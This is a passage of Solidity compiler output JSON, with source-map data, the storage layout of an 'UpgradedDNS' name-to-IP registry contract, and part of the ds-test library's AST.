:10;:23;;;:52;;;;;1676:10;1661:25;;:5;:11;;;;;;;;;;;;:25;;;1634:52;1633:103;;;;1691:45;1712:10;1724:5;:11;;;;;;;;;;;;1691:20;:45::i;:::-;1633:103;1621:140;;;;;;;;;;;;:::i;:::-;;;;;;;;;1781:1;1774:8;;:3;:8;;;;;1766:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;1813:3;1802:5;:8;;;:14;;;;;;;;;;;;;;;;;;1341:479;;;:::o;1823:506::-;1902:19;1924:4;1929:7;1924:13;;;;;;:::i;:::-;;;;;;;;;;;;;1902:35;;2136:9;2122:23;;:10;:23;;;:52;;;;;2164:10;2149:25;;:5;:11;;;;;;;;;;;;:25;;;2122:52;2121:103;;;;2179:45;2200:10;2212:5;:11;;;;;;;;;;;;2179:20;:45::i;:::-;2121:103;2109:140;;;;;;;;;;;;:::i;:::-;;;;;;;;;2280:1;2262:20;;:6;:20;;;;2254:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;2319:6;2305:5;:11;;;:20;;;;;;;;;;;;;;;;;;1823:506;;;:::o;2332:282::-;2421:4;2452:11;2435:29;;:5;:29;;;2431:114;;;2541:4;2534:11;;;;2431:114;2556:11;:28;;;2590:5;2598:11;2556:54;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2549:61;;2332:282;;;;;:::o;7:139:8:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:137::-;;237:6;231:13;222:22;;253:30;277:5;253:30;:::i;:::-;212:77;;;;:::o;295:137::-;;378:6;365:20;356:29;;394:32;420:5;394:32;:::i;:::-;346:86;;;;:::o;438:466::-;;543:3;536:4;528:6;524:17;520:27;510:2;;561:1;558;551:12;510:2;601:6;588:20;626:65;641:49;683:6;641:49;:::i;:::-;626:65;:::i;:::-;617:74;;714:6;707:5;700:21;753:4;745:6;741:17;789:4;782:5;778:16;827:3;818:6;813:3;809:16;806:25;803:2;;;844:1;841;834:12;803:2;857:41;891:6;886:3;881;857:41;:::i;:::-;500:404;;;;;;;:::o;910:276::-;;1026:2;1014:9;1005:7;1001:23;997:32;994:2;;;1042:1;1039;1032:12;994:2;1084:1;1108:61;1161:7;1152:6;1141:9;1137:22;1108:61;:::i;:::-;1098:71;;1056:123;984:202;;;;:::o;1192:373::-;;1310:2;1298:9;1289:7;1285:23;1281:32;1278:2;;;1326:1;1323;1316:12;1278:2;1396:1;1385:9;1381:17;1368:31;1426:18;1418:6;1415:30;1412:2;;;1458:1;1455;1448:12;1412:2;1485:63;1540:7;1531:6;1520:9;1516:22;1485:63;:::i;:::-;1475:73;;1340:218;1268:297;;;;:::o;1571:516::-;;;1706:2;1694:9;1685:7;1681:23;1677:32;1674:2;;;1722:1;1719;1712:12;1674:2;1792:1;1781:9;1777:17;1764:31;1822:18;1814:6;1811:30;1808:2;;;1854:1;1851;1844:12;1808:2;1881:63;1936:7;1927:6;1916:9;1912:22;1881:63;:::i;:::-;1871:73;;1736:218;1992:2;2017:53;2062:7;2053:6;2042:9;2038:22;2017:53;:::i;:::-;2007:63;;1964:116;1664:423;;;;;:::o;2093:514::-;;;2227:2;2215:9;2206:7;2202:23;2198:32;2195:2;;;2243:1;2240;2233:12;2195:2;2313:1;2302:9;2298:17;2285:31;2343:18;2335:6;2332:30;2329:2;;;2375:1;2372;2365:12;2329:2;2402:63;2457:7;2448:6;2437:9;2433:22;2402:63;:::i;:::-;2392:73;;2257:218;2513:2;2538:52;2582:7;2573:6;2562:9;2558:22;2538:52;:::i;:::-;2528:62;;2485:115;2185:422;;;;;:::o;2613:657::-;;;;2764:2;2752:9;2743:7;2739:23;2735:32;2732:2;;;2780:1;2777;2770:12;2732:2;2850:1;2839:9;2835:17;2822:31;2880:18;2872:6;2869:30;2866:2;;;2912:1;2909;2902:12;2866:2;2939:63;2994:7;2985:6;2974:9;2970:22;2939:63;:::i;:::-;2929:73;;2794:218;3050:2;3075:52;3119:7;3110:6;3099:9;3095:22;3075:52;:::i;:::-;3065:62;;3022:115;3175:2;3200:53;3245:7;3236:6;3225:9;3221:22;3200:53;:::i;:::-;3190:63;;3147:116;2722:548;;;;;:::o;3276:118::-;3363:24;3381:5;3363:24;:::i;:::-;3358:3;3351:37;3341:53;;:::o;3400:115::-;3485:23;3502:5;3485:23;:::i;:::-;3480:3;3473:36;3463:52;;:::o;3521:157::-;3621:50;3665:5;3621:50;:::i;:::-;3616:3;3609:63;3599:79;;:::o;3684:163::-;3787:53;3834:5;3787:53;:::i;:::-;3782:3;3775:66;3765:82;;:::o;3853:377::-;;3987:39;4020:5;3987:39;:::i;:::-;4042:89;4124:6;4119:3;4042:89;:::i;:::-;4035:96;;4140:52;4185:6;4180:3;4173:4;4166:5;4162:16;4140:52;:::i;:::-;4217:6;4212:3;4208:16;4201:23;;3963:267;;;;;:::o;4236:313::-;;4399:67;4463:2;4458:3;4399:67;:::i;:::-;4392:74;;4496:17;4492:1;4487:3;4483:11;4476:38;4540:2;4535:3;4531:12;4524:19;;4382:167;;;:::o;4555:312::-;;4718:67;4782:2;4777:3;4718:67;:::i;:::-;4711:74;;4815:16;4811:1;4806:3;4802:11;4795:37;4858:2;4853:3;4849:12;4842:19;;4701:166;;;:::o;4873:309::-;;5036:67;5100:2;5095:3;5036:67;:::i;:::-;5029:74;;5133:13;5129:1;5124:3;5120:11;5113:34;5173:2;5168:3;5164:12;5157:19;;5019:163;;;:::o;5188:319::-;;5351:67;5415:2;5410:3;5351:67;:::i;:::-;5344:74;;5448:23;5444:1;5439:3;5435:11;5428:44;5498:2;5493:3;5489:12;5482:19;;5334:173;;;:::o;5513:312::-;;5676:67;5740:2;5735:3;5676:67;:::i;:::-;5669:74;;5773:16;5769:1;5764:3;5760:11;5753:37;5816:2;5811:3;5807:12;5800:19;;5659:166;;;:::o;5831:275::-;;5985:95;6076:3;6067:6;5985:95;:::i;:::-;5978:102;;6097:3;6090:10;;5967:139;;;;:::o;6112:328::-;;6269:2;6258:9;6254:18;6246:26;;6282:69;6348:1;6337:9;6333:17;6324:6;6282:69;:::i;:::-;6361:72;6429:2;6418:9;6414:18;6405:6;6361:72;:::i;:::-;6236:204;;;;;:::o;6446:248::-;;6590:2;6579:9;6575:18;6567:26;;6603:84;6684:1;6673:9;6669:17;6660:6;6603:84;:::i;:::-;6557:137;;;;:::o;6700:358::-;;6872:2;6861:9;6857:18;6849:26;;6885:84;6966:1;6955:9;6951:17;6942:6;6885:84;:::i;:::-;6979:72;7047:2;7036:9;7032:18;7023:6;6979:72;:::i;:::-;6839:219;;;;;:::o;7064:254::-;;7211:2;7200:9;7196:18;7188:26;;7224:87;7308:1;7297:9;7293:17;7284:6;7224:87;:::i;:::-;7178:140;;;;:::o;7324:419::-;;7528:2;7517:9;7513:18;7505:26;;7577:9;7571:4;7567:20;7563:1;7552:9;7548:17;7541:47;7605:131;7731:4;7605:131;:::i;:::-;7597:139;;7495:248;;;:::o;7749:419::-;;7953:2;7942:9;7938:18;7930:26;;8002:9;7996:4;7992:20;7988:1;7977:9;7973:17;7966:47;8030:131;8156:4;8030:131;:::i;:::-;8022:139;;7920:248;;;:::o;8174:419::-;;8378:2;8367:9;8363:18;8355:26;;8427:9;8421:4;8417:20;8413:1;8402:9;8398:17;8391:47;8455:131;8581:4;8455:131;:::i;:::-;8447:139;;8345:248;;;:::o;8599:419::-;;8803:2;8792:9;8788:18;8780:26;;8852:9;8846:4;8842:20;8838:1;8827:9;8823:17;8816:47;8880:131;9006:4;8880:131;:::i;:::-;8872:139;;8770:248;;;:::o;9024:419::-;;9228:2;9217:9;9213:18;9205:26;;9277:9;9271:4;9267:20;9263:1;9252:9;9248:17;9241:47;9305:131;9431:4;9305:131;:::i;:::-;9297:139;;9195:248;;;:::o;9449:278::-;;9515:2;9509:9;9499:19;;9557:4;9549:6;9545:17;9664:6;9652:10;9649:22;9628:18;9616:10;9613:34;9610:62;9607:2;;;9675:13;;:::i;:::-;9607:2;9710:10;9706:2;9699:22;9489:238;;;;:::o;9733:327::-;;9885:18;9877:6;9874:30;9871:2;;;9907:13;;:::i;:::-;9871:2;9987:4;9983:9;9976:4;9968:6;9964:17;9960:33;9952:41;;10048:4;10042;10038:15;10030:23;;9800:260;;;:::o;10066:99::-;;10152:5;10146:12;10136:22;;10125:40;;;:::o;10171:169::-;;10289:6;10284:3;10277:19;10329:4;10324:3;10320:14;10305:29;;10267:73;;;;:::o;10346:148::-;;10485:3;10470:18;;10460:34;;;;:::o;10500:96::-;;10566:24;10584:5;10566:24;:::i;:::-;10555:35;;10545:51;;;:::o;10602:90::-;;10679:5;10672:13;10665:21;10654:32;;10644:48;;;:::o;10698:149::-;;10774:66;10767:5;10763:78;10752:89;;10742:105;;;:::o;10853:126::-;;10930:42;10923:5;10919:54;10908:65;;10898:81;;;:::o;10985:152::-;;11081:50;11125:5;11081:50;:::i;:::-;11068:63;;11058:79;;;:::o;11143:126::-;;11239:24;11257:5;11239:24;:::i;:::-;11226:37;;11216:53;;;:::o;11275:158::-;;11374:53;11421:5;11374:53;:::i;:::-;11361:66;;11351:82;;;:::o;11439:129::-;;11538:24;11556:5;11538:24;:::i;:::-;11525:37;;11515:53;;;:::o;11574:154::-;11658:6;11653:3;11648;11635:30;11720:1;11711:6;11706:3;11702:16;11695:27;11625:103;;;:::o;11734:307::-;11802:1;11812:113;11826:6;11823:1;11820:13;11812:113;;;11911:1;11906:3;11902:11;11896:18;11892:1;11887:3;11883:11;11876:39;11848:2;11845:1;11841:10;11836:15;;11812:113;;;11943:6;11940:1;11937:13;11934:2;;;12023:1;12014:6;12009:3;12005:16;11998:27;11934:2;11783:258;;;;:::o;12047:48::-;12080:9;12101:122;12174:24;12192:5;12174:24;:::i;:::-;12167:5;12164:35;12154:2;;12213:1;12210;12203:12;12154:2;12144:79;:::o;12229:116::-;12299:21;12314:5;12299:21;:::i;:::-;12292:5;12289:32;12279:2;;12335:1;12332;12325:12;12279:2;12269:76;:::o;12351:120::-;12423:23;12440:5;12423:23;:::i;:::-;12416:5;12413:34;12403:2;;12461:1;12458;12451:12;12403:2;12393:78;:::o\",\"storage-layout\":\"{\\\"storage\\\":[{\\\"astId\\\":2062,\\\"contract\\\":\\\"src/UpgradedDNS.sol:UpgradedDNS\\\",\\\"label\\\":\\\"data\\\",\\\"offset\\\":0,\\\"slot\\\":\\\"0\\\",\\\"type\\\":\\\"t_mapping(t_string_memory_ptr,t_struct(Entry)1425_storage)\\\"}],\\\"types\\\":{\\\"t_address\\\":{\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"address\\\",\\\"numberOfBytes\\\":\\\"20\\\"},\\\"t_bytes4\\\":{\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"bytes4\\\",\\\"numberOfBytes\\\":\\\"4\\\"},\\\"t_mapping(t_string_memory_ptr,t_struct(Entry)1425_storage)\\\":{\\\"encoding\\\":\\\"mapping\\\",\\\"key\\\":\\\"t_string_memory_ptr\\\",\\\"label\\\":\\\"mapping(string => struct IDNS.Entry)\\\",\\\"numberOfBytes\\\":\\\"32\\\",\\\"value\\\":\\\"t_struct(Entry)1425_storage\\\"},\\\"t_string_memory_ptr\\\":{\\\"encoding\\\":\\\"bytes\\\",\\\"label\\\":\\\"string\\\",\\\"numberOfBytes\\\":\\\"32\\\"},\\\"t_struct(Entry)1425_storage\\\":{\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"struct IDNS.Entry\\\",\\\"members\\\":[{\\\"astId\\\":1422,\\\"contract\\\":\\\"src/UpgradedDNS.sol:UpgradedDNS\\\",\\\"label\\\":\\\"ip\\\",\\\"offset\\\":0,\\\"slot\\\":\\\"0\\\",\\\"type\\\":\\\"t_bytes4\\\"},{\\\"astId\\\":1424,\\\"contract\\\":\\\"src/UpgradedDNS.sol:UpgradedDNS\\\",\\\"label\\\":\\\"owner\\\",\\\"offset\\\":4,\\\"slot\\\":\\\"0\\\",\\\"type\\\":\\\"t_address\\\"}],\\\"numberOfBytes\\\":\\\"32\\\"}}}\"}},\"sourceList\":[\"lib/ds-test/src/test.sol\",\"src/DNS.sol\",\"src/DNSTest.t.sol\",\"src/HEVMCheat.sol\",\"src/IDNS.sol\",\"src/MalDNS.sol\",\"src/Upgrade.sol\",\"src/UpgradedDNS.sol\"],\"sources\":{\"lib/ds-test/src/test.sol\":{\"AST\":{\"attributes\":{\"absolutePath\":\"lib/ds-test/src/test.sol\",\"exportedSymbols\":{\"DSTest\":[2747]},\"license\":\"GPL-v3\"},\"children\":[{\"attributes\":{\"literals\":[\"solidity\",\"^\",\"0.7\",\".0\"]},\"id\":2305,\"name\":\"PragmaDirective\",\"src\":\"679:23:0\"},{\"attributes\":{\"abstract\":true,\"baseContracts\":[null],\"contractDependencies\":[null],\"contractKind\":\"contract\",\"fullyImplemented\":true,\"linearizedBaseContracts\":[2747],\"name\":\"DSTest\",\"scope\":2748},\"children\":[{\"attributes\":{\"anonymous\":false,\"name\":\"eventListener\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"indexed\":false,\"mutability\":\"mutable\",\"name\":\"target\",\"scope\":2311,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":2306,\"name\":\"ElementaryTypeName\",\"src\":\"765:7:0\"}],\"id\":2307,\"name\":\"VariableDeclaration\",\"src\":\"765:14:0\"},{\"attributes\":{\"constant\":false,\"indexed\":false,\"mutability\":\"mutable\",\"name\":\"exact\",\"scope\":2311,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bool\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bool\",\"type\":\"bool\"},\"id\":2308,\"name\":\"ElementaryTypeName\",\"src\":\"781:4:0\"}],\"id\":2309,\"name\":\"VariableDeclaration\",\"src\":\"781:10:0\"}],\"id\":2310,\"name\":\"ParameterList\",\"src\":\"764:28:0\"}],\"id\":2311,\"name\":\"EventDefinition\",\"src\":\"735:58:0\"},{\"attributes\":{\"anonymous\":false,\"name\":\"logs\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"indexed\":false,\"mutability\":\"mutable\",\"name\":\"\",\"scope\":2315,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes\",\"type\":\"bytes\"},\"id\":2312,\"name\":\"ElementaryTypeName\",\"src\":\"828:5:0\"}],\"id\":2313,\"name\":\"VariableDeclaration\",\"src\":\"828:5:0\"}],\"id\":2314,\"name\":\"ParameterList\",\"src\":\"827:7:0\"}],\"id\":2315,\"name\":\"EventDefinition\",\"src\":\"798:37:0\"},{\"attributes\":{\"anonymous\":false,\"name\":\"log_bytes32\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"indexed\":false,\"mutability\":\"mutable\",\"name\":\"\",\"scope\":2319,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes32\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes32\",\"type\":\"bytes32\"},\"id\":2316,\"name\":\"ElementaryTypeName\",\"src\":\"870:7:0\"}],\"id\":2317,\"name\":\"VariableDeclaration\",\"src\":\"870:7:0\"}],\"id\":2318,\"name\":\"ParameterList\",\"src\":\"869:9:0\"}],\"id\":2319,\"name\":\"EventDefinition\",\"src\":\"840:39:0\"},{\"attributes\":{\"anonymous\":false,\"name\":\"log_named_address\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"indexed\":false,\"mutability\":\"mutable\",\"name\":\"key\",\"scope\":2325,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes32\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes32\",\"type\":\"bytes32\"},\"id\":2320,\"name\":\"ElementaryTypeName\",\"src\":\"914:7:0\"}],\"id\":2321,\"name\":\"VariableDeclaration\",\"src\":\"914:11:0\"},{\"attributes\":{\"constant\":false,\"indexed\":false,\"mutability\":\"mutable\",\"name\":\"val\",\"scope\":2325,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":2322,\"name\":\"ElementaryTypeName\",\"src\":\"927:7:0\"}],\"id\":2323,\"name\":\"VariableDeclaration\",\"src\":\"927:11:0\"}],\"id\":2324,\"name\":\"ParameterList\",\"src\":\"913:26:0\"}],\"id\":2325,\"name\":\"EventDefinition\",\"src\":\"884:56:0\"},{\"attributes\":{\"anonymous\":false,\"name\":\"log_named_bytes32\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"indexed\":false,\"mutability\":\"mutable\",\"name\":\"key\",\"scope\":2331,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes32\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes32\",\"type\":\"bytes32\"},\"id\":2326,\"name\":\"ElementaryTypeName\",\"src\":\"975:7:0\"}],\"id\":2327,\"name\":\"VariableDeclaration\",\"src\":\"975:11:0\"},{\"attributes\":{\"constant\":false,\"indexed\":false,\"mutability\":\"mutable\",\"name\":\"val\",\"scope\":2331,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes32\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes32\",\"type\":\"bytes32\"},\"id\":2328,\"name\":\"ElementaryTypeName\",\"src\":\"988:7:0\"}],\"id\":2329,\"name\":\"VariableDeclaration\",\"src\":\"988:11:0\"}],\"id\":2330,\"name\":\"ParameterList\",\"src\":\"974:26:0\"}],\"id\":2331,\"name\":\"EventDefinition\",\"src\":\"945:56:0\"},{\"attributes\":{\"anonymous\":false,\"name\":\"log_named_decimal_int\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"indexed\":false,\"mutability\":\"mutable\",\"name\":\"key\",\"scope\":2339,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes32\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes32\",\"type\":\"bytes32\"},\"id\":2332,\"name\":\"ElementaryTypeName\",\"src\":\"1036:7:0\"}],\"id\":2333,\"name\":\"VariableDeclaration\",\"src\":\"1036:11:0\"},{\"attributes\":{\"constant\":false,\"indexed\":false,\"mutability\":\"mutable\",\"name\":\"val\",\"scope\":2339,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"int256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"int\",\"type\":\"int256\"},\"id\":2334,\"name\":\"ElementaryTypeName\",\"src\":\"1049:3:0\"}],\"id\":2335,\"name\":\"VariableDeclaration\",\"src\":\"1049:7:0\"},{\"attributes\":{\"constant\":false,\"indexed\":false,\"mutability\":\"mutable\",\"name\":\"decimals\",\"scope\":2339,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"uint256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"uint\",\"type\":\"uint256\"},\"id\":2336,\"name\":\"ElementaryTypeName\",\"src\":\"1058:4:0\"}],\"id\":2337,\"name\":\"VariableDeclaration\",\"src\":\"1058:13:0\"}],\"id\":2338,\"name\":\"ParameterList\",\"src\":\"1035:37:0\"}],\"id\":2339,\"name\":\"EventDefinition\",\"src\":\"1006:67:0\"},{\"attributes\":{\"anonymous\":false,\"name\":\"log_named_decimal_uint\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"indexed\":false,\"mutability\":\"mutable\",\"name\":\"key\",\"scope\":2347,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes32\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes32\",\"type\":\"bytes32\"},\"id\":2340,\"name\":\"ElementaryTypeName\",\"src\":\"1108:7:0\"}],\"id\":2341,\"name\":\"VariableDeclaration\",\"src\":\"1108:11:0\"},{\"attributes\":{\"constant\":false,\"indexed\":false,\"mutability\":\"mutable\",\"name\":\"val\",\"scope\":2347,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"uint256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"uint\",\"type\":\"uint256\"},\"id\":2342,\"name\":\"ElementaryTypeName\",\"src\":\"1121:4:0\"}],\"id\":2343,\"name\":\"VariableDeclaration\",\"src\":\"1121:8:0\"},{\"attributes\":{\"constant\":false,\"indexed\":false,\"mutability\":\"mutable\",\"name\":\"decimals\",\"scope\":2347,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"uint256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"uint\",\"type\":\"uint256\"},\"id\":2344,\"name\":\"ElementaryTypeName\",\"src\":\"1131:4:0\"}],\"id\":2345,\"name\":\"VariableDeclaration\",\"src\":\"1131:13:0\"}],\"id\":2346,\"name\":\"ParameterList\",\"src\":\"1107:38:0\"}],\"id\":2347,\"name\":\"EventDefinition\",\"src\":\"1078:68:0\"},{\"attributes\":{\"anonymous\":false,\"name\":\"log_named_int\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"indexed\":false,\"mutability\":\"mutable\",\"name\":\"key\",\"scope\":2353,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes32\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes32\",\"type\":\"bytes32\"},\"id\":2348,\"name\":\"ElementaryTypeName\",\"src\":\"1181:7:0\"}],\"id\":2349,\"name\":\"VariableDeclaration\",\"src\":\"1181:11:0\"},{\"attributes\":{\"constant\":false,\"indexed\":false,\"mutability\":\"mutable\",\"name\":\"val\",\"scope\":2353,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"int256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"int\",\"type\":\"int256\"},\"id\":2350,\"name\":\"ElementaryTypeName\",\"src\":\"1194:3:0\"}],\"id\":2351,\"name\":\"VariableDeclaration\",\"src\":\"1194:7:0\"}],\"id\":2352,\"name\":\"ParameterList\",\"src\":\"1180:22:0\"}],\"id\":2353,\"name\":\"EventDefinition\",\"src\":\"1151:52:0\"},{\"attributes\":{\"anonymous\":false,\"name\":\"log_named_uint\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"indexed\":false,\"mutability\":\"mutable\",\"name\":\"key\",\"scope\":2359,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes32\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes32\",\"type\":\"bytes32\"},\"id\":2354,\"name\":\"ElementaryTypeName\",\"src\":\"1238:7:0\"}],\"id\":2355,\"name\":\"VariableDeclaration\",\"src\":\"1238:11:0\"},{\"attributes\":{\"constant\":false,\"indexed\":false,\"mutability\":\"mutable\",\"name\":\"val\",\"scope\":2359,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"uint256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"uint\",\"type\":\"uint256\"},\"id\":2356,\"name\":\"ElementaryTypeName\",\"src\":\"1251:4:0\"}],\"id\":2357,\"name\":\"VariableDeclaration\",\"src\":\"1251:8:0\"}],\"id\":2358,\"name\":\"ParameterList\",\"src\":\"1237:23:0\"}],\"id\":2359,\"name\":\"EventDefinition\",\"src\":\"1208:53:0\"},{\"attributes\":{\"anonymous\":false,\"name\":\"log_named_string\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"indexed\":false,\"mutability\":\"mutable\",\"name\":\"key\",\"scope\":2365,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes32\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes32\",\"type\":\"bytes32\"},\"id\":2360,\"name\":\"ElementaryTypeName\",\"src\":\"1296:7:0\"}],\"id\":2361,\"name\":\"VariableDeclaration\",\"src\":\"1296:11:0\"},{\"attributes\":{\"constant\":false,\"indexed\":false,\"mutability\":\"mutable\",\"name\":\"val\",\"scope\":2365,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":2362,\"name\":\"ElementaryTypeName\",\"src\":\"1309:6:0\"}],\"id\":2363,\"name\":\"VariableDeclaration\",\"src\":\"1309:10:0\"}],\"id\":2364,\"name\":\"ParameterList\",\"src\":\"1295:25:0\"}],\"id\":2365,\"name\":\"EventDefinition\",\"src\":\"1266:55:0\"},{\"attributes\":{\"constant\":false,\"functionSelector\":\"fa7626d4\",\"mutability\":\"mutable\",\"name\":\"IS_TEST\",\"scope\":2747,\"stateVariable\":true,\"storageLocation\":\"default\",\"type\":\"bool\",\"visibility\":\"public\"},\"children\":[{\"attributes\":{\"name\":\"bool\",\"type\":\"bool\"},\"id\":2366,\"name\":\"ElementaryTypeName\",\"src\":\"1327:4:0\"}],\"id\":2367,\"name\":\"VariableDeclaration\",\"src\":\"1327:19:0\"},{\"attributes\":{\"constant\":false,\"functionSelector\":\"ba414fa6\",\"mutability\":\"mutable\",\"name\":\"failed\",\"scope\":2747,\"stateVariable\":true,\"storageLocation\":\"default\",\"type\":\"bool\",\"visibility\":\"public\"},\"children\":[{\"attributes\":{\"name\":\"bool\",\"type\":\"bool\"},\"id\":2368,\"name\":\"ElementaryTypeName\",\"src\":\"1352:4:0\"}],\"id\":2369,\"name\":\"VariableDeclaration\",\"src\":\"1352:18:0\"},{\"attributes\":{\"implemented\":true,\"isConstructor\":true,\"kind\":\"constructor\",\"modifiers\":[null],\"name\":\"\",\"scope\":2747,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":2370,\"name\":\"ParameterList\",\"src\":\"1388:2:0\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":2371,\"name\":\"ParameterList\",\"src\":\"1391:0:0\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2367,\"type\":\"bool\",\"value\":\"IS_TEST\"},\"id\":2372,\"name\":\"Identifier\",\"src\":\"1401:7:0\"},{\"attributes\":{\"hexvalue\":\"74727565\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"bool\",\"type\":\"bool\",\"value\":\"true\"},\"id\":2373,\"name\":\"Literal\",\"src\":\"1411:4:0\"}],\"id\":2374,\"name\":\"Assignment\",\"src\":\"1401:14:0\"}],\"id\":2375,\"name\":\"ExpressionStatement\",\"src\":\"1401:14:0\"}],\"id\":2376,\"name\":\"Block\",\"src\":\"1391:31:0\"}],\"id\":2377,\"name\":\"FunctionDefinition\",\"src\":\"1377:45:0\"},{\"attributes\":{\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"fail\",\"scope\":2747,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":2378,\"name\":\"ParameterList\",\"src\":\"1441:2:0\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":2379,\"name\":\"ParameterList\",\"src\":\"1453:0:0\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2369,\"type\":\"bool\",\"value\":\"failed\"},\"id\":2380,\"name\":\"Identifier\",\"src\":\"1463:6:0\"},{\"attributes\":{\"hexvalue\":\"74727565\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"bool\",\"type\":\"bool\",\"value\":\"true\"},\"id\":2381,\"name\":\"Literal\",\"src\":\"1472:4:0\"}],\"id\":2382,\"name\":\"Assignment\",\"src\":\"1463:13:0\"}],\"id\":2383,\"name\":\"ExpressionStatement\",\"src\":\"1463:13:0\"}],\"id\":2384,\"name\":\"Block\",\"src\":\"1453:30:0\"}],\"id\":2385,\"name\":\"FunctionDefinition\",\"src\":\"1428:55:0\"},{\"attributes\":{\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"expectEventsExact\",\"scope\":2747,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"internal\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"target\",\"scope\":2396,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":2386,\"name\":\"ElementaryTypeName\",\"src\":\"1516:7:0\"}],\"id\":2387,\"name\":\"VariableDeclaration\",\"src\":\"1516:14:0\"}],\"id\":2388,\"name\":\"ParameterList\",\"src\":\"1515:16:0\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":2389,\"name\":\"ParameterList\",\"src\":\"1541:0:0\"},{\"children\":[{\"children\":[{\"attributes\":{\"isCon